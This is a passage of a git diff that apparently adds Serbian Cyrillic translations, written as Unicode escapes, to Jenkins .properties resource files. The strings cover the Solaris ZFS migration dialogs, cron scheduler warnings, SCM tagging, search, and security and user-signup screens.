index 0000000000..2e14a7b169 --- /dev/null +++ b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/index_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +ZFS\ Migration\ Problem=\u041F\u0440\u043E\u0431\u043B\u0435\u043C \u043C\u0438\u0433\u0440\u0438\u0440\u0430\u045A\u0430 \u043D\u0430 ZFS. diff --git a/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/message_sr.properties b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/message_sr.properties new file mode 100644 index 0000000000..cd7d1ff15e --- /dev/null +++ b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/message_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +ZFS\ migration\ failed.=\u041C\u0438\u0458\u0435 \u043C\u043E\u0433\u043B\u043E \u043C\u0438\u0433\u0440\u0438\u0440\u0430\u0442\u0438 \u043D\u0430 ZFS. +See\ the\ log\ for\ more\ details=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0436\u0443\u0440\u043D\u0430\u043B \u0433\u0434\u0435 \u0438\u043C\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. diff --git a/core/src/main/resources/hudson/os/solaris/ZFSInstaller/askRootPassword_sr.properties b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/askRootPassword_sr.properties new file mode 100644 index 0000000000..d80a5a2c5d --- /dev/null +++ b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/askRootPassword_sr.properties @@ -0,0 +1,9 @@ +# This file is under the MIT License by authors + +Permission\ Denied= +blurb=\u0418\u0437\u0433\u043B\u0435\u0434\u0430 \u0434\u0430 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A \u043D\u0435\u043C\u0430 \u0434\u043E\u0432\u043E\u0459\u043D\u0430 \u043F\u0440\u0430\u0432\u0430 \u0434\u0430 \u043A\u0440\u0435\u0438\u0440\u0430 \u0441\u0438\u0441\u0442\u0435\u043C \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 ZFS. \ + \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u0443\u043D\u0435\u0441\u0438\u0442\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 \u0438 \u043B\u043E\u0437\u0438\u043D\u043A\u0443 \u043A\u043E\u0458\u0430 \u0438\u043C\u0430 \u0434\u043E\u0432\u043E\u0459\u043D\u043E \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0430, \u043A\u0430\u043E \u043D\u0430 \u043F\u0440\u0438\u043C\u0435\u0440 root. +Username=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 +Password=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 +OK=\u0423\u0440\u0435\u0434\u0443 +See\ errors...=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0433\u0440\u0435\u0448\u043A\u0435... diff --git a/core/src/main/resources/hudson/os/solaris/ZFSInstaller/confirm_sr.properties b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/confirm_sr.properties new file mode 100644 index 0000000000..e71c90500f --- /dev/null +++ b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/confirm_sr.properties @@ -0,0 +1,11 @@ +# This file is under the MIT License by authors + +ZFS\ file\ system\ creation=\u041A\u0440\u0435\u0438\u0440\u0430\u045A\u0435 \u0441\u0438\u0441\u0442\u0435\u043C \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 ZFS +blurb=Jenkins \u045B\u0435 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u043D\u0430\u0440\u0435\u0434\u043D\u0435 \u043E\u043F\u0435\u0440\u0430\u0446\u0438\u0458\u0435 \u0434\u0430 \u0432\u0430\u043C \u043C\u0438\u0433\u0440\u0438\u0440\u0430 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u043D\u0430 \u0441\u0438\u0441\u0442\u0435\u043C \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 ZFS. +You\ will\ need\ the\ root\ password\ of\ the\ system\ to\ do\ this.=\u041F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u0443\u043D\u0435\u0442\u0438 root \u043B\u043E\u0437\u0438\u043D\u043A\u0443 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 +Restart\ itself\ so\ that\ the\ migration\ can\ be\ done\ without\ worrying\ about\ concurrent\ data\ modifications=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435, \u0442\u0430\u043A\u043E \u0434\u0430 \u0441\u0435 \u043C\u0438\u0433\u0440\u0430\u0446\u0438\u0458\u0430 \u043C\u043E\u0436\u0435 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u0431\u0435\u0437 \u0431\u0440\u0438\u0433\u0435 \u043E \u0438\u0441\u0442\u043E\u0432\u0440\u0435\u043C\u0435\u043D\u0438\u0445 \u043F\u0440\u043E\u043C\u0435\u043D\u0430 \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430 +create=\u041A\u0440\u0435\u0438\u0440\u0430\u0458 \u043D\u043E\u0432\u0438 \u0441\u0438\u0441\u0442\u0435\u043C \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 ZFS {0} \u0438 \u043A\u043E\u043F\u0438\u0440\u0430\u0458 \u0443 \u045A\u0435\u0433\u0430 \u0441\u0432\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 +rename=\u041F\u0440\u0435\u0438\u043C\u0435\u043D\u0443\u0458 {0} \u0443 {0}.backup +mount=\u041C\u043E\u043D\u0442\u0438\u0440\u0430\u0458 \u043D\u043E\u0432\u0438 \u0441\u0438\u0441\u0442\u0435\u043C \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 ZFS \u043D\u0430 {0} +delete=\u0418\u0437\u0431\u0440\u0438\u0448\u0438 {0}.backup +Start\ migration=\u041F\u043E\u0447\u043D\u0438 \u043C\u0438\u0433\u0440\u0430\u0446\u0438\u0458\u0443 diff --git a/core/src/main/resources/hudson/os/solaris/ZFSInstaller/message_sr.properties b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/message_sr.properties new file mode 100644 index 0000000000..2959bbffe9 --- /dev/null +++ b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/message_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +blurb=\u0412\u0438 \u0440\u0430\u0434\u0438\u0442\u0435 \u043D\u0430 Solaris \u043C\u0430\u0448\u0438\u043D\u0438. \u0414\u0430\u043B\u0438 \u0432\u0438 \u0445\u0442\u0435\u043B\u0438 Jenkins \u0434\u0430 \u043A\u0440\u0435\u0438\u0440\u0430 \u0441\u0438\u0441\u0442\u0435\u043C \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 ZFS \u0437\u0430 \u0432\u0430\u0441 \u0434\u0430 \u0431\u0438 \u0441\u0442\u0435 \u0438\u0437\u0432\u0443\u045B\u0438 \u043C\u0430\u043A\u0441\u0438\u043C\u0443\u043C \u0438\u0437 Solaris? +Yes,\ please=\u041C\u043E\u043B\u0438\u043C \u043B\u0435\u043F\u043E +No,\ thank\ you=\u041D\u0435 \u0445\u0432\u0430\u043B\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/scheduler/Messages_sr.properties b/core/src/main/resources/hudson/scheduler/Messages_sr.properties new file mode 100644 index 0000000000..5b115ec973 --- /dev/null +++ b/core/src/main/resources/hudson/scheduler/Messages_sr.properties @@ -0,0 +1,9 @@ +# This file is under the MIT License by authors + +BaseParser.StartEndReversed=\u0414\u0430 \u043B\u0438\u0441\u0442\u0435 \u0438\u043C\u0430\u043B\u0438 \u0443 \u0432\u0438\u0434\u0443 {0}-{1}? +BaseParser.MustBePositive=\u041A\u043E\u0440\u0430\u043A \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u043F\u043E\u0437\u0438\u0442\u0438\u0432\u0430\u043D \u0431\u0440\u043E\u0458, \u0430 \u043D\u0435 {0} +CronTab.do_you_really_mean_every_minute_when_you=\u0414\u0430\u043B\u0438 \u0437\u0430\u0438\u0441\u0442\u0430 \u043C\u0438\u0441\u043B\u0438\u0442\u0435 "\u0441\u0432\u0430\u043A\u0438 \u043C\u0438\u043D\u0443\u0442"? \u041C\u043E\u0436\u0434\u0430 \u0441\u0442\u0435 \u043D\u0430\u043C\u0435\u0440\u0430\u0432\u0430\u043B\u0438 "{1}" - \u0458\u0435\u0434\u043D\u043E\u043C \u0441\u0432\u0430\u043A\u0438 \u0441\u0430\u0442. +BaseParser.OutOfRange={0} \u0458\u0435 \u043F\u043E\u0433\u0440\u0435\u0448\u043D\u0430 \u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442. \u0422\u0440\u0435\u0431\u0430\u043B\u043E \u0431\u0438 \u0431\u0438\u0442\u0438 \u0438\u0437\u043C\u0435\u0452\u0443 {1} \u0438 {2} +CronTab.short_cycles_in_the_day_of_month_field_w=\u041A\u0440\u0430\u0442\u043A\u0438 \u0446\u0438\u043A\u043B\u0443\u0441\u0438 \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u0438 \u0443 \u043F\u043E\u0459\u0443 "\u0434\u0430\u043D \u0443 \u043C\u0435\u0441\u0435\u0446\u0443" \u045B\u0435 \u0441\u0435 \u0447\u0443\u0434\u043D\u043E \u043F\u043E\u043D\u0430\u0448\u0430\u0442\u0438 \u043D\u0430 \u043A\u0440\u0430\u0458\u0443 \u043C\u0435\u0441\u0435\u0446\u0430 +CronTab.spread_load_evenly_by_using_rather_than_=\u0420\u0430\u0441\u043F\u043E\u0434\u0435\u043B\u0438 \u0442\u0435\u0440\u0435\u0442 \u043F\u043E\u0434\u0458\u0435\u0434\u043D\u0430\u043A\u043E \u043F\u043E\u043C\u043E\u045B\u0443 "{0}" \u0430 \u043D\u0435 "{1}" +CronTabList.InvalidInput=\u041D\u0435\u0438\u0441\u043F\u0440\u0430\u0432\u0430\u043D \u0443\u043D\u043E\u0441: "{0}": {1} \ No newline at end of file diff --git a/core/src/main/resources/hudson/scm/AbstractScmTagAction/inProgress_sr.properties b/core/src/main/resources/hudson/scm/AbstractScmTagAction/inProgress_sr.properties new file mode 100644 index 0000000000..976cb8df33 --- /dev/null +++ b/core/src/main/resources/hudson/scm/AbstractScmTagAction/inProgress_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Tagging\ is\ in\ progress\:=\u041E\u0437\u043D\u0430\u0447\u0430\u0432\u0430\u045A\u0435 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443 diff --git a/core/src/main/resources/hudson/scm/EmptyChangeLogSet/digest_sr.properties b/core/src/main/resources/hudson/scm/EmptyChangeLogSet/digest_sr.properties index 3e8a8d487a..38f676ba23 100644 --- a/core/src/main/resources/hudson/scm/EmptyChangeLogSet/digest_sr.properties +++ b/core/src/main/resources/hudson/scm/EmptyChangeLogSet/digest_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -No\ changes.=Broj promena +No\ changes.=\u041D\u0435\u043C\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0430. diff --git a/core/src/main/resources/hudson/scm/Messages_sr.properties b/core/src/main/resources/hudson/scm/Messages_sr.properties new file mode 100644 index 0000000000..da10fd769e --- /dev/null +++ b/core/src/main/resources/hudson/scm/Messages_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +NullSCM.DisplayName=\u041D\u0435\u043C\u0430 +SCM.Permissions.Title=\u0421\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u043C \u043A\u043E\u0434\u0443 +SCM.TagPermission.Description=\u0414\u0430\u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 \u043F\u0440\u0432\u043E \u0434\u0430 \u043A\u0440\u0435\u0438\u0440\u0430\u0458\u0443 \u043D\u043E\u0432\u0443 \u043E\u0437\u043D\u0430\u043A\u0443 \u0443 \u0441\u043F\u0440\u0435\u043C\u0438\u0448\u0442\u0443 \u0434\u0430\u0442\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. \ No newline at end of file diff --git a/core/src/main/resources/hudson/scm/SCM/project-changes_sr.properties b/core/src/main/resources/hudson/scm/SCM/project-changes_sr.properties new file mode 100644 index 0000000000..26d6757858 --- /dev/null +++ b/core/src/main/resources/hudson/scm/SCM/project-changes_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +detail=\u0434\u0435\u0442\u0430\u0459\u0438 +No\ changes\ in\ any\ of\ the\ builds.=\u041D\u0435\u043C\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0430 \u0443 \u0431\u0438\u043B\u043E \u043A\u043E\u0458\u0438\u043C \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430. +No\ builds.=\u041D\u0435\u043C\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430. diff --git a/core/src/main/resources/hudson/search/Messages_sr.properties b/core/src/main/resources/hudson/search/Messages_sr.properties new file mode 100644 index 0000000000..3fc20ed360 --- /dev/null +++ b/core/src/main/resources/hudson/search/Messages_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +UserSearchProperty.DisplayName=\u041E\u043F\u0446\u0438\u0458\u0435 \u043F\u0440\u0435\u0442\u0440\u0430\u0433\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/search/Search/search-failed_sr.properties b/core/src/main/resources/hudson/search/Search/search-failed_sr.properties new file mode 100644 index 0000000000..58e74d5543 --- /dev/null +++ b/core/src/main/resources/hudson/search/Search/search-failed_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Search\ for=\u041F\u043E\u0442\u0440\u0430\u0436\u0438 +Nothing\ seems\ to\ match.=\u041D\u0435\u043C\u0430 \u0440\u0435\u0437\u0443\u043B\u0442\u0430\u0442\u0430 diff --git a/core/src/main/resources/hudson/search/UserSearchProperty/config_sr.properties b/core/src/main/resources/hudson/search/UserSearchProperty/config_sr.properties new file mode 100644 index 0000000000..144ad7dde6 --- /dev/null +++ b/core/src/main/resources/hudson/search/UserSearchProperty/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Case-sensitivity=\u041E\u0441\u0435\u0442\u0459\u0438\u0432\u043E \u043D\u0430 \u0432\u0435\u043B\u0438\u043A\u0430 \u0438 \u043C\u0430\u043B\u0430 \u0441\u043B\u043E\u0432\u0430 +Insensitive\ search\ tool=\u0410\u043B\u0430\u0442 \u0437\u0430 \u043F\u0440\u0435\u0442\u0440\u0430\u0433\u0443 \u043D\u0435\u043E\u0441\u0435\u0442\u0459\u0438\u0432 \u043D\u0430 \u0432\u0435\u043B\u0438\u043A\u0430 \u0438 \u043C\u0430\u043B\u0430 \u0441\u043B\u043E\u0432\u0430 diff --git a/core/src/main/resources/hudson/security/FederatedLoginService/UnclaimedIdentityException/error_sr.properties b/core/src/main/resources/hudson/security/FederatedLoginService/UnclaimedIdentityException/error_sr.properties new file mode 100644 index 0000000000..53c32244ac --- /dev/null +++ b/core/src/main/resources/hudson/security/FederatedLoginService/UnclaimedIdentityException/error_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +loginError=\u0413\u0440\u0435\u0448\u043A\u0430 \u043F\u0440\u0438\u0458\u0430\u0432\u0435: {0} \u043D\u0435\u043C\u0430 \u0430\u0441\u043E\u0446\u0438\u0458\u0430\u0446\u0438\u0458\u0435 +blurb={0} "{1}" \u043D\u0438\u0458\u0435 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u043E \u0441\u0430 \u0431\u0438\u043B\u043E \u043A\u043E\u0458\u0438\u043C Jenkins \u043D\u0430\u043B\u043E\u0433\u043E\u043C. \ + \u0410\u043A\u043E \u0432\u0435\u045B \u0438\u043C\u0430\u0433\u0435 \u043D\u0430\u043B\u043E\u0433 \u0438 \u043F\u043E\u043A\u0443\u0448\u0430\u0432\u0430\u0442\u0435 \u0434\u0430 \u043F\u043E\u0432\u0435\u0436\u0435\u0442\u0435 {0} \u0441 \u045A\u0438\u043C, \ + \u043E\u0432\u043E \u043D\u0438\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u043C\u0435\u0441\u0442\u043E \u0437\u0430 \u0442\u043E. \u0420\u0430\u0434\u0438\u0458\u0435
                    1. Login
                    2. \u041A\u043B\u0438\u043A\u043D\u0438\u0442\u0435 \u043D\u0430 \u0432\u0430\u0448\u0435 \u0438\u043C\u0435
                    3. \u041A\u043B\u0438\u043A\u043D\u0438\u0442\u0435 \u043D\u0430 "\u0423\u0440\u0435\u0434\u0438" \u043B\u0438\u043D\u043A, \u0438 \ +
                    4. \u043F\u043E\u0432\u0435\u0436\u0438\u0442\u0435 \u043D\u043E\u0432\u0438 {0} \u0441\u0430 \u0442\u0435 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0435
                    + diff --git a/core/src/main/resources/hudson/security/FullControlOnceLoggedInAuthorizationStrategy/config_sr.properties b/core/src/main/resources/hudson/security/FullControlOnceLoggedInAuthorizationStrategy/config_sr.properties new file mode 100644 index 0000000000..4037369d97 --- /dev/null +++ b/core/src/main/resources/hudson/security/FullControlOnceLoggedInAuthorizationStrategy/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Allow\ anonymous\ read\ access=\u0414\u043E\u0437\u0432\u043E\u043B\u0438 \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u0430\u043D\u043E\u043D\u0438\u043C\u043D\u0438\u043C \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/config_sr.properties b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/config_sr.properties new file mode 100644 index 0000000000..5d8616dada --- /dev/null +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/config_sr.properties @@ -0,0 +1,23 @@ +# This file is under the MIT License by authors + +Default\ view=\u0421\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +Home\ directory=\u0413\u043B\u0430\u0432\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C +System\ Message=\u0414\u043E\u0431\u0440\u043E\u0434\u043E\u0448\u043B\u0438 +LOADING=\u0423\u0427\u0418\u0422\u0410\u0412\u0410\u040A\u0415 +statsBlurb=\u041F\u043E\u0448\u0430\u0459\u0438 \u0430\u043D\u043E\u043D\u0438\u043C\u043D\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u043E \u043A\u043E\u0440\u0438\u0448\u045B\u0435\u045A\u0443 \u0438 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458\u0438 \u043E \u0433\u0440\u0435\u0448\u043A\u0430\u043C\u0430 Jenkins-\u0430. +Global\ properties=\u0413\u043B\u043E\u0431\u0430\u043B\u043D\u0435 \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 +Views\ Tab\ Bar=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0438 +My\ Views\ Tab\ Bar=\u041C\u043E\u0458\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0438 +name=\u0438\u043C\u0435 +JDKs=JDK-\u043E\u0432\u0438 +JDK\ installations=JDK \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0435 +List\ of\ JDK\ installations\ on\ this\ system=\u0421\u043F\u0438\u0441\u0430\u043A JDK \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0435 \u043D\u0430 \u043E\u0432\u043E\u043C \u0441\u0438\u0441\u0442\u0435\u043C\u0443 +no.such.JDK=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u0442\u0430\u043A\u0430\u0432 JDK +Configure\ System=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 \u0441\u0438\u0441\u0442\u0435\u043C +Master/Slave\ Support=\u041F\u043E\u0434\u0440\u0448\u043A\u0435 \u0433\u043B\u0430\u0432\u043D\u0438\u043C \u0438 \u043F\u043E\u043C\u043E\u045B\u043D\u0438\u043C \u043C\u0430\u0448\u0438\u043D\u0430\u043C\u0430 +Slaves=\u041F\u043E\u043C\u043E\u045B\u043D\u0438 +slaves.description=\u0421\u043F\u0438\u0441\u0430\u043A \u043F\u043E\u043C\u043E\u045B\u043D\u0438\u0445 \u043C\u0430\u0448\u0438\u043D\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043E\u0432\u0430\u043D\u0438 \u043D\u0430 \u0433\u043B\u0430\u0432\u043D\u043E\u0458 Jenkins \u043C\u0430\u0448\u0438\u043D\u0438. \u0417\u0430\u0434\u0430\u0446\u0438 \u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u043F\u043E\u0434\u0435\u0448\u0435\u043D\u0438 \u0434\u0430 \u0431\u0443\u0434\u0443 \u0438\u0437\u0432\u0440\u0448\u0435\u043D\u0438 \u043D\u0430 \u043F\u043E\u043C\u043E\u045B\u043D\u0438\u043C \u043C\u0430\u0448\u0438\u043D\u0430\u043C\u0430. +launch\ command=\u041A\u043E\u043C\u0430\u043D\u0434\u0430 \u0437\u0430 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 +description=\u041E\u043F\u0438\u0441 +usage=\u0423\u043F\u043E\u0442\u0440\u0435\u0431\u0430 +remote\ FS\ root=\u041A\u043E\u0440\u0435\u043D \u0443\u0434\u0430\u0459\u0435\u043D\u043E\u0433 \u0441\u0438\u0441\u0442\u0435\u043C \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index_sr.properties b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index_sr.properties new file mode 100644 index 0000000000..abb41de481 --- /dev/null +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index_sr.properties @@ -0,0 +1,11 @@ +# This file is under the MIT License by authors + +LOADING=\u0423\u0427\u0418\u0422\u0410\u0412\u0410\u040A\u0415 +Enable\ security=\u0423\u043A\u0459\u0443\u0447\u0438 \u0441\u0438\u0441\u0442\u0435\u043C \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E\u0441\u0442\u0438 +Markup\ Formatter=\u0424\u043E\u0440\u043C\u0430\u0442\u0435\u0440 \u0437\u0430 Markup +Access\ Control=\u041A\u043E\u043D\u0442\u0440\u043E\u043B\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0435 +Security\ Realm=\u041E\u0431\u043B\u0430\u0441\u0442 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E\u0441\u0442\u0438 (Realm) +Authorization=\u041E\u0432\u043B\u0430\u0448\u045B\u0435\u045A\u0435 +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 +Disable\ remember\ me=\u0418\u0441\u043A\u0459\u0443\u0447\u0438 \u043E\u0434\u043B\u0438\u043A\u0443 "\u0437\u0430\u043F\u0430\u043C\u0442\u0438 \u043C\u0435" +TCP\ port\ for\ JNLP\ agents=\u041F\u043E\u0440\u0442 TCP \u0437\u0430 JNLP \u0430\u0433\u0435\u043D\u0442\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_sr.properties new file mode 100644 index 0000000000..681f4b037d --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Password=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 +Confirm\ Password=\u041F\u043E\u0442\u0432\u0440\u0434\u0438\u0442\u0435 \u043B\u043E\u0437\u0438\u043D\u043A\u0443 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_sr.properties new file mode 100644 index 0000000000..661b93a0e3 --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_sr.properties @@ -0,0 +1,9 @@ +# This file is under the MIT License by authors + +Username=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 +Password=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 +Confirm\ password=\u041F\u043E\u0442\u0432\u0440\u0434\u0438\u0442\u0435 \u043B\u043E\u0437\u0438\u043D\u043A\u0443 +Full\ name=\u0418\u043C\u0435 \u0438 \u043F\u0440\u0435\u0437\u0438\u043C\u0435 +Enter\ text\ as\ shown=\u0423\u043D\u0435\u0441\u0438\u0442\u0435 \u0442\u0435\u043A\u0441\u0442 \u043A\u0430\u043A\u043E \u0458\u0435 \u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D +E-mail\ address=\u0410\u0434\u0440\u0435\u0441\u0430 \u0435-\u043F\u043E\u0448\u0442\u0435 +Sign\ up=\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0458\u0430 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/addUser_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/addUser_sr.properties new file mode 100644 index 0000000000..a1eb18f901 --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/addUser_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Create\ User=\u041A\u0440\u0435\u0438\u0440\u0430\u0458 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/config_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/config_sr.properties new file mode 100644 index 0000000000..7da135998f --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Enable\ captcha\ on\ sign\ up=\u0422\u0440\u0430\u0436\u0438 Captcha \u043F\u0440\u0438\u043B\u0438\u043A\u043E\u043C \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0458\u0435 +Captcha\ Support=\u041F\u043E\u0434\u0440\u0448\u043A\u0430 \u0437\u0430 Captcha +Allow\ users\ to\ sign\ up=\u0414\u043E\u0437\u0432\u043E\u043B\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 \u0434\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443\u0458\u0443 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/firstUser_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/firstUser_sr.properties new file mode 100644 index 0000000000..ac2c4ccf6a --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/firstUser_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Create\ First\ Admin\ User=\u041A\u0440\u0435\u0438\u0440\u0430\u0458 \u043F\u0440\u0432\u043E\u0433 \u0430\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440\u0430 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_sr.properties new file mode 100644 index 0000000000..ee02493ef6 --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Users=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 +blurb=\ +\u041E\u0432\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0432\u0438 \u043C\u043E\u0433\u0443 \u0441\u0435 \u043F\u0440\u0438\u0458\u0430\u0432\u0438\u0442\u0438 \u043D\u0430 Jenkins, \u0448\u0442\u043E \u0458\u0435 \u043F\u043E\u0434\u0441\u043A\u0443\u043F \u043E\u0432\u043E\u0433 \u0441\u043F\u0438\u0441\u043A\u0430, \ +\u043A\u043E\u0458\u0438 \u0441\u0430\u0434\u0440\u0436\u0438 \u0438 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438-\u043A\u0440\u0435\u0438\u0440\u0430\u043D\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0435 \u0431\u0435\u0437 \u043A\u0438\u0440\u0435\u043A\u043D\u043E\u0433 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0430 \u043D\u0430 Jenkins. +User\ Id=\u0418\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0446\u0438\u043E\u043D\u0438 \u0431\u0440\u043E\u0458 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 +Name=\u0418\u043C\u0435 diff --git 